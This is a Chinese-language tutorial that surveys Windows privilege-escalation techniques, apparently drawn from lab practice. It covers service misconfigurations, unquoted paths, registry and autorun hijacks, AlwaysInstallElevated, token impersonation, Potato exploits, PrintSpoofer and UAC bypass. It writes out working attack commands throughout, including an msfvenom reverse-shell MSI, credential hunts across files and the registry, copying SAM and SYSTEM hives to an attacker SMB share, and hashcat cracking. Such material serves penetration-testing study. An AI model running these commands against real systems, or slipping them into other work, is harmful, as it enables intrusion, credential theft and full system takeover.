平常用的时候总是随搜随用,今天来随便总结windows的一些提权的方式
我们可以执行systeminfo命令,把目标机器输出的结果保存为txt文件 ,并使用工具进行针对未打补丁的一个探测:
在windows中有些服务运行时是以system权限运行的,如果这个服务的 ACL没有设置的很严格,导致我们其他用户有权更改具有系统特权的服务的配置,我们可以将服务使用的可执行项更改为我们自己的服务之一。
通俗点就是说,假如有一个服务是以system权限运行的,而且我们还有启动/关闭以及修改其配置的权限,那么我们就可以将此服务运行时执行的exe文件,替换成我们的恶意exe文件。
我们可使用accesschk.exe这个工具,来查找某个用户可修改的服务有哪些,使用方法:
accesschk.exe -uwcqv "user" *
我们先用msf生成一个exe:
python起个smb服务,传下文件:
监听端口执行下:
使用accesschk.exe,查当前用户可修改的服务有哪些,找到一个daclsvc:
是system权限,那么我们改下他的 BINARY_PATH_NAME 为我们的恶意文件:
监听下端口,并启动下服务:
返回了一个system权限的shell:
原理:
在 Windows 中,如果服务没有用引号括起来并且有空格,它会将空格作为中断处理,并将服务路径的其余部分作为参数传递。。当创建可执行路径包含空格且未包含在引号内的服务时,会导致称为未引用服务路径的漏洞,该漏洞允许用户获得SYSTEM权限(当受攻击的服务以SYSTEM 权限运行时)。
举个例子,当我们运行C:\Program Files\All Dir\wa1ki0g.exe时,表面来看,会运行SomeProgram.exe。
但还有一种可能,就是C:\Program 可能是可执行的,“Files\All"和"Dir\wa1ki0g.exe” 是他的两个参数
Windows 会分别尝试这两个方式,以此来验证哪个是正确的
使用winPEAS来进行检查,找到一个服务未使用引号包裹 ,并包含了空格:
winPEASany.exe quiet servicesinfo
看一下它是以什么权限运行的:
我们看下这个路径可以发现我们有三处都可以用来进行伪造,分别看一下这三处我们有没有可写的权限,可以看到有一处是有权限的:
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
我们将传的那个reverse.exe复制到此目录并将其重命名为 Common.exe并启动unquotedsvc服务:
成功返回个system权限的shell:
原理与上几个比较类似,就是通过注册表来改某个服务的配置,然后再启动服务。
还是老样子winPEASany检查下:
winPEASany.exe quiet servicesinfo
发现我们好像有可以更改regsv服务的注册表权限,使用accesschk.exe 确认下:
NT AUTHORITY\INTERACTIVE 代表当前用户的权限,说明我们可以进行配置,我们更改注册表覆盖 ImagePath 注册表项以指向那个 reverse.exe 恶意文件:
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
与上面的也都比较类似,也是通过更改服务的配置,这个的原理就是我们的服务启动的时候是伴随着一个exe文件启动的,而我们又对这个exe文件和目录有可写的权限,所以我们可以用我们的恶意文件去覆盖他的正常的文件
还是先检测一波,找到了一个:
还是以system权限运行的:
使用 accesschk.exe确认一遍,发现确实是我们可写的:
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
net start filepermsvc 启动服务,提权成功:
但是这样做会导致这个服务的exe文件无法恢复,所以在进行攻击之前我们最好用copy命令备份下
原理就是有一些服务是在开机时候自动启动的,并且可以通过更改注册表去更改替换他的配置,这样导致计算机再重启的时候,就会执行我们更改后的。
可以使用winPEAS 来检查一些我们有权限更改的自启动的程序
winPEASany.exe quiet applicationsinfo
accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
确认了C:\Program Files\Autorun Program\program.exe"自运行,可执行且可写入,使用我们的恶意文件,覆盖掉他:
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y
开个监听,重启一下计算机,成功返回system:
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。
所以思路就是我们可以生成恶意的msi文件,然后将它安装执行
前提:下面两个键的值必须为1
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
可以使用使用winPEAS进行检测AlwaysInstallElevated是否启用,如果启用,那么将允许普通用户以SYSTEM权限运行安装文件(MSI 文件是用于安装应用程序的包文件):
winPEASany.exe quiet windowscreds
工具找到了,手动验证一下:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
使用msf来创建一个恶意的msi文件:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.7.109 LPORT=53 -f msi -o reverse.msi
并上传到目标上安装:
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
大量程序在Windows注册表中存储配置选项,并且我们有时可能会在某些文件中找到存放的明文密码,如果找到了更高权限的用户的密码也相当于做了个提权。可以用下列命令查找:
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
在.config配置文件中查找 pass、cred、vnc 这些敏感字符:
dir /s *pass* == *cred* == *vnc* == *.config*
在所有文件中查找 passwords :
findstr /spin "password" *.*
一些可能存在密码信息的常用文件,它们有可能是base64编码的:
type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
$ dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
查找注册表中的信息:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
查找注册表中 password 信息:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
使用 meterpreter 进行信息收集:
post/windows/gather/credentials/gpp
post/windows/gather/enum_unattend
也可以使用winPEAS 检查常见密码位置:
winPEASany.exe quiet filesinfo userinfo
用上述的好多种方法都能找到admin的密码,这里贴一个图:
如上图我们找到了admin用户的密码password123,再用一些横向的工具弄个shell就好了,我这里用的smbexec:
Windows 具有runas 命令,在知道其他用户账户密码的情况下可以使用其他用户的权限运行命令。
但是,Windows 还允许用户将其凭据保存到系统,这些保存的凭据可以使我们在没有密码的时候进行执行命令,可以类比 “在有cookie的时候不用账户密码就可以登录”。
使用cmdkey /list可以查看:
runas /savecred /user:admin cmd.exe
SAM和SYSTEM文件一般保存于C:\Windows\System32\config目录下。
在 Windows 运行时,文件已锁定。文件的备份可能存在于C:\Windows\RepairorC:\Windows\System32\config\RegBack directories
可以将sam文件下载到本地,使用工具进行破解(密钥可以在SYSTEM的文件中找到。)
使用smb将文件传送到本地:
copy C:\Windows\Repair\SAM \\10.2.7.109\wa1ki0g\
copy C:\Windows\Repair\SYSTEM \\10.2.7.109\wa1ki0g\
用SAM 和 SYSTEM 文件转储哈希值:
python3 pwdump.py ~/Desktop/SYSTEM ~/Desktop/SAM
hashcat 破解管理员 NTLM 哈希:
hashcat -m 1000 --force <hash> mima.txt
然后再使用一些横向工具进行命令执行就好
这个其实就是在我们低权限的时候,会去检查windows的计划任务,看看这个计划任务的执行文件,有没有哪个文件我们有写入权限的。
查看计算机上以管理权限运行的计划任务:
schtasks /query /fo LIST /v
在PowerShell中执行过滤:
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
假如我们使用如上方法查到了一个每分钟都以 SYSTEM 身份运行的powershell脚本—— C:\DevTools\CleanUp.ps1 。
我们使用 accesschk.exe,看看有没有写入的权限:
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
更改一下C:\DevTools\CleanUp.ps1文件,增加一行内容:cmd.exe :
echo cmd.exe >> C:\DevTools\CleanUp.ps1
等待一会就好
在某些版本的 Windows 中,用户可以获得使用管理员权限运行某些 GUI 应用的权限。通俗点说就是我们普通用户打开一个gui程序的时候,实际上是以管理员权限执行的。就有点类似linux里的suid提权?
演示:
我们登录user用户,启动这个画图软件:
查看一下这个程序的权限:
tasklist /V | findstr mspaint.exe
导航栏中输入:
file://c:/windows/system32/cmd.exe
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
这个目录是存放我们常用软件快捷方式的目录,如果这个目录可写,我们就可以创建一个快捷方式,然后链接到一个exe文件,再等着管理员用户点击这个快捷方式之后,我们就可以以管理员的方式,来执行这个exe文件。
可以使用如下的vb脚本来成功一个快捷方式:
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\Users\user\Desktop\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "xxx.exe"
oLink.Save
执行以后就会在桌面生成一个叫reverse的exe文件:
等待管理员点他以后就会以管理员的身份来执行我们的exe文件。
Msf的shell中,自带一个提权命令:getsystem,可以用来提权,原理:
(这里并没有提权成功,因为失败时它会详细的输出他的原理,我这里是为了让大家更明白它的这个过程原理):
除了msf shell的getsystem命令以外,Msf也为我们提供了提权的模块,在exploits/windows/local模块下,我们可以设置session的id来使用执行这些提权的模块:
同样我们也可以在msf的shell中进行可用提权exp的探测枚举,msf为我们写好了这个功能, 用法·:
造成此漏洞的原因是什么?
影响的范围是什么?
演示:
我们通过msf拿到了shell:
可以看到权限为普通用户,并且session id为2:
使用ms14-058模块,并进行参数配置后进行run执行即可:
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次 请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭 证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系 统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测 出令牌,而假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以 当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌 进行攻击。简单理解令牌就相当于你现实生活中的“身份证”
令牌种类:
Msf shell中的相关命令:
use incognito 进入incognito模块
list_tokens -u 列出令牌
impersonate_token "NT AUTHORITY\SYSTEM" 选择要窃取的账号
同时,我们在外围渗透时获得的权限越大我们可列出得令牌数量就越多,下图是两个权限的对比图:
Administrator权限升级到system权限实例:
Windows最常用提权方式之一:烂土豆提权:令牌模拟+令牌窃取这里先简单表述一下,为什么要搭配来用:
我们前面讲过,低权限的用户可以列出的令牌数量是不多的,可能并不可以 列出那些高权限的用户的令牌,而“烂土豆“可以帮我们列出system用户的令牌,列出令牌以后我们直接窃取使用,便可成功提权到system
烂土豆提权原理:
使用烂土豆提权需要SeImpersonatePrivilege权限与 SeAssignPrimaryToken权限其中的一个:
SeImpersonatePrivilege(身份验证后模拟客户端),它是在Windows 2000 SP4 中引入的。
被分配此权限的用户是设备本地管理员组的成员和设备的本地服务帐户。除了这些用户和组 之外,以下组件也具有此用户权限:
由服务控制管理器组件对象模型 (COM) 服务器启动的 服务由 COM 基础结构启动并配置为在特定帐户下运行 。
现在我们知道哪些类型的用户拥有 此特权,但是用户使用这些特权获得什么了呢,每当为用户分配 SeImpersontatePrivilege时, 就允许该用户代表该用户运行程序以模拟客户端。这里就是对我们前面“一般大多数的服务型账户(IIS、MSSQL等)有这个权限”的一个方面的解释
使用烂土豆提权时,需要 CLSID。
这个可以通过:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md 中的GetCLSID.ps1 中的powershell脚本进行获取
获取完CLSID后:
当有SeImpersonate权限时。juicypotato的参数使用-t t
开有SeAssignPrimaryToken权限时。juicypotato的参数使用-t u
最终命令:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {CLSID}
微软推出烂土豆补丁后,高版本 Windows DCOM 解析器不再允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号。这样便无法控制 RPC 对特定 IP 端口进行通讯。
RoguePotato 使用其他远程主机的 135 端口做转发,通过远程主机将数据传到本地伪造的 RPC 服务上。
具体操作为:
简单点说就是对微软发布的针对 "烂土豆提权"的补丁的一个绕过,上面的绕过原理及更多的"土豆家族"提权原理和介绍都可以在这篇师傅的文章中找到:https://www.wangan.com/p/7fy747c482c3331f
补充:当我们运行RoguePotato.exe,我们可以让它在本地机器上启动该服务,或者我们可以在自己控制的 Windows 机器上启动它并让它到达那里如果我想在本地机器上使用解析器,我需要在我的机器上创建一个隧道,该隧道在 TCP 135 上接收并重定向回目标主机上的解析器
利用socat 重定向器,将我们机器的135端口转发到 Windows 上的端口 9999:
sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.13.80:9999
这个提权漏洞与上一个比较类似,也是需要SeImpersonate权限与SeAssignPrimaryToken权限其中一个。也是需要获取的shell是服务型账户才可以触发,我们切换到一个服务型账户的shell来模拟实际可能遇到的情况进行实验:
PSExec64.exe -i -u "nt authority\local service" cmd.exe
在服务型账户的shell中进行提权:
RoguePotato.exe -r 10.2.7.109 -e "C:\PrivEsc\reverse.exe" -l 9999
PrintSpoofer提权原理:
整体思路其实也是通过中继获取SYSTEM令牌,再通过模拟令牌执行命令。
另有区别的是在Potato提权中多数是通过利用RPC中继的方式,例如在Rotten
Potato中,通过CoGetInstanceFromIStorage 加载COM对象BITS
服务来使得以SYSTEM身份运行的BITS服务向攻击者监听的端口发起连接并进行NTLM认证,但是NTLM认证仍然需要被重放到RPC服务器(默认情况下是135端口)以构造对应的协商或者挑战包从而返回,以实现欺骗NT
AUTHORITY\SYSTEM帐户通过
NTLM向我们控制的TCP端点进行身份验证,最后通过AcquireCredentialsHandle和AcceptSecurityContext来完成身份验证过程并获取令牌,从而以高权限令牌指定运行进程CoGetInstanceFromIStorage会尝试从 “指定的 host:port” 加载 “指定对象“ 的实例(通过 CLSID
指定对象),BITS 的 CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}
下图可以很清晰的看出Rotten Potato的攻击流程:
但是利用该接口在Windows 10上将不再适用,原因是可能由于OXID解析器有关,在调用IstorageTrigger::MarshalInterface已经省略RPC绑定字符串中的端口,其中port也就是我们的本地侦听器端口,这就意味着COM连接现在只允许在TCP端口135上使用,因此就无法实现中间人攻击,但是RPC不是可用于这种中继场景的唯一协议,这里PrintSpoofer提权中则是使用了非常经典的管道(pipe)
上面的PrintSpoofer提权原理节选自下面这个链接,想知道更详细的原理可以去这个师傅写的文章(挺复杂的):https://www.anquanke.com/post/id/254904
我们同样,也是要在一个服务型shell中进行操作:
使用PrintSpoofer.exe进行提权利用,利用成功:
这个uac是什么呢?可以举个例子,其实就是我们点某个应用程序的时候,会出现个弹窗来询问我们是否要允许应用对你的设备进行更改。下面是百度到的详情:
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
这里bypass uac有一种思路是我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
bypass uac 的方式其实有数十种,我说一个一个说不过来了,有耐心的师傅可以看看下面这个师傅的文章:
https://cloud.tencent.com/developer/article/1799452
在msf的后渗透模块中,内置了bypass uac提权。或者我们也可以去github上找这个的利用工具,比如下面这个,它内置了几十种提权的方式:
https://github.com/hfiref0x/UACME